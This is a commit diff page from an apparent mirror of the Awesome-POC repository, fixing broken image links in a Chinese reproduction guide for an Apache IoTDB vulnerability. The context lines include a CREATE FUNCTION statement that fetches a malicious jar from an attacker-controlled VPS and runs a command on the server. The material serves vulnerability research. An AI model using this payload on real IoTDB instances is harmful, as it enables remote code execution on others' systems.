mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-06-20 01:40:40 +00:00
fix broken images
This commit is contained in:
parent
2c4210601c
commit
f49058cb89
@ -52,7 +52,7 @@ docker-compose up -d
|
||||
docker ps
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
### 安装 Cli 命令行
|
||||
|
||||
@ -70,7 +70,7 @@ cd apache-iotdb-1.2.0-cli-bin/
|
||||
sbin/start-cli.sh -h your-ip -p 6667 -u root -pw root
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
@ -96,11 +96,11 @@ public class EvilClass {
|
||||
CREATE FUNCTION evilFunc AS 'org.example.EvilClass' USING URI 'http://<your-vps-ip>/poc.jar';
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
IoTDB 会从我们的 vps 下载 `poc.jar`,加载恶意类并执行命令 。可以看到,`touch /tmp/awesome_poc` 已经执行成功:
|
||||
|
||||

|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user